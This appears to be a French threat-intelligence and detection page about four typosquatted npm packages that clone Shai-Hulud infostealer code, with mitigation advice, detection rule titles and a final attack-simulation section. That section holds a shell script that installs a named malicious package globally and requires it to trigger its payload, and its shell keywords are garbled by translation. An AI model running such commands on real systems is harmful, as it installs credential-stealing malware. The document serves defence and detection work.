Clones de Shai-Hulud : Les Imposteurs de TeamPCP Sont Là
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Des chercheurs ont découvert quatre packages npm malveillants qui combinent une fonctionnalité d’infostealer avec des capacités de déni de service distribué. Ces packages usurpent l’identité de bibliothèques populaires à travers le typosquattage et incluent le code open-source Shai-Hulud modifié pour utiliser des serveurs de commande et de contrôle contrôlés par des attaquants. L’installation de l’un de ces packages peut entraîner le vol de justificatifs, l’exfiltration de secrets cloud, et dans un cas, l’enrôlement de l’hôte infecté dans un botnet DDoS. Les résultats soulignent le risque croissant pour la chaîne d’approvisionnement au sein de l’écosystème npm.
Enquête
Les analystes ont comparé le chalk-tempalte package au code source divulgué de Shai-Hulud et ont découvert qu’il s’agissait d’une copie presque exacte, non obscurcie, configurée avec un endpoint de commande et de contrôle personnalisé. Les autres packages ont transmis les données volées à des domaines malveillants distincts ou à une adresse IP sur le port 2222, tandis qu’une variante a également déployé un service local basé sur Go utilisé pour l’activité DDoS. Tous les quatre packages ont été publiés par le même compte npm, renforçant le lien entre eux.
Atténuation
Les organisations doivent immédiatement supprimer les packages malveillants de tous les projets et supprimer les artefacts de configuration associés des environnements de développement et des systèmes de build. Tous les justificatifs qui ont pu être exposés doivent être modifiés, et l’accès réseau aux domaines malveillants et à l’adresse IP identifiés doit être bloqué. Les équipes devraient également surveiller les dépendances npm pour repérer les packages typosquattés qui imitent les mêmes bibliothèques légitimes.
Réponse
Les défenseurs devraient créer des détections pour les connexions sortantes vers les domaines de commande et de contrôle et l’adresse IP identifiés, alerter sur l’installation des quatre noms de packages malveillants, et analyser les systèmes pour la clé publique intégrée liée au malware. Tout système ayant installé un des packages devrait subir un examen judiciaire pour déterminer si des services persistants, des tâches planifiées ou des charges utiles supplémentaires ont été déployés.
Flux d’attaque
Détections
Téléchargement exécutable suspect (via proxy)
Voir
Fichier de configuration automatique de tâches Vscode possible créé dans un répertoire inhabituel [MACOS] (via file_event)
Voir
Téléchargement / Upload de fichier distant via outils standards (via cmdline)
Voir
Fichier de configuration automatique de tâches Vscode possible créé dans un répertoire inhabituel [LINUX] (via file_event)
Voir
Un fichier masqué a été créé sur l’hôte Linux (via file_event)
Voir
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)
Voir
Utilisation possible de Schtasks ou AT pour la persistance (via cmdline)
Voir
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via cmdline)
Voir
Binaire / Scripts suspects dans l’emplacement de démarrage automatique (via file_event)
Voir
Tentative de communication par lookup de domaine IP possible (via dns)
Voir
Commande et contrôle suspect par demande DNS de domaine de haut niveau inhabituel (TLD) (via dns)
Voir
Utilisation possible de Crontab pour exécution directe (via cmdline)
Voir
IOCs (SourceIP) à détecter: Nouveaux acteurs déploient des clones de Shai-Hulud : Les imitateurs de TeamPCP sont là
Voir
IOCs (DestinationIP) à détecter: Nouveaux acteurs déploient des clones de Shai-Hulud : Les imitateurs de TeamPCP sont là
Voir
Détection des connexions réseau sortantes vers les serveurs C2 de Shai-Hulud [Firewall]
Voir
Détection de l’exécution de package NPM malveillant [Création de processus Windows]
Voir
Détection de l’exécution de package npm malveillant [Création de processus Linux]
Voir
Exécution de simulation
Prérequis: Le contrôle préalable de télémétrie et de base de référence doit avoir été réussi.
Raisonnement: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Narration de l’attaque et commandes:
- Reconnaissance initiale (facultative): L’attaquant énumère l’environnement Node.js de la victime pour confirmer que
npmest présent. - Acquisition de package malveillant : L’attaquant télécharge un package npm malveillant qui imite un utilitaire légitime (par exemple,
@deadcode09284814/axios-util). - Installation & Exécution : En une seule ligne, l’attaquant installe le package globalement et exécute immédiatement une charge utile JavaScript qui ouvre un shell inversé.
- Persistance (au-delà du périmètre) : L’attaquant pourrait ajouter le package malveillant à
package.jsonpour une réutilisation future.
- Reconnaissance initiale (facultative): L’attaquant énumère l’environnement Node.js de la victime pour confirmer que
-
Script de test de régression : Le script reproduit exactement les étapes 2-3, générant les chaînes de ligne de commande que la règle Sigma correspond.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Assurez-vous que l'environnement d'exécution Node.js est présent si ! commande -v node >/dev/null 2>&1; alors echo "[*] Installation de Node.js et npm" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ Installez le package npm malveillant (simulé) # (Remplacer par un package malveillant réel dans un test réel) PAQUET_MALVEILLANT="@deadcode09284814/axios-util" echo "[*] Installation du package malveillant : $PAQUET_MALVEILLANT" npm install -g "$PAQUET_MALVEILLANT" # 3️⃣ Exécutez une charge utile que le package livre # Ici nous requérons simplement le package ; le script postinstall # du package exécutera le code de l'attaquant. echo "[*] Déclenchement de la charge utile malveillante" node -e "require('$PAQUET_MALVEILLANT');" # 4️⃣ Optionnel : Garder le shell actif pour l'observation sleep 30 echo "[*] Test terminé" # ------------------------------------------------- -
Commandes de nettoyage : Retirez le package malveillant et tous les fichiers générés.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] Suppression du package npm malveillant" npm uninstall -g "@deadcode09284814/axios-util" || true # Supprimez tout module node résiduel du répertoire personnel rm -rf "$HOME/.npm/_cacache" echo "[*] Nettoyage terminé" # -------------------------------------------------